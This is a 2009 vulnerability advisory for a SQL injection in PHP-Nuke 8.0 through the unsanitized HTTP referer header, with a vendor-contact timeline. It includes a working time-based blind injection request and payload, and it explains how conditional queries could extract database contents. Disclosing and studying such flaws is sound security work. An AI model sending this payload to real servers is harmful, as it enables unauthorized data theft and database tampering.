PHP-Nuke 8.0 SQL Injection

`PHP Nuke v.8.0 (referer) SQL Injection  
  
Author: Gerendi Sandor Attila  
Original advisory: http://gsasec.blogspot.com/2009/05/php-nuke-v80-referer-sql-injection.html  
Date: May 14, 2009  
Package: PHP-Nuke  
Product homepage: http://phpnuke.org/  
Versions Affected: v.8.0 (Other versions may also be affected)  
Severity: High  
  
The 'referer' header element when requesting the '/main/tracking/userLog.php' is not sanitized before it is used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.  
  
Description:  
  
- Sample request:  
  
GET http://somehost/PHP-Nuke-8.0/index.php HTTP/1.0  
Accept: */*  
referer: '+IF(False,'',SLEEP(5))+'  
  
This will result in a query like:  
  
INSERT INTO nuke_referer VALUES (NULL, ''+IF(False,'',SLEEP(5))+'')  
  
and the result will arrive after 5 seconds, replacing the 'False' statement with conditional queries can be used to extract arbitrary data from the database. Also the injection can be used to insert arbitrary data into the 'nuke_referer' table.  
  
Status:  
1. Contacted the author at: May 14, 2009 via: http://phpnuke.org/modules.php?name=Feedback  
2. No response received (May 27, 2009)  
`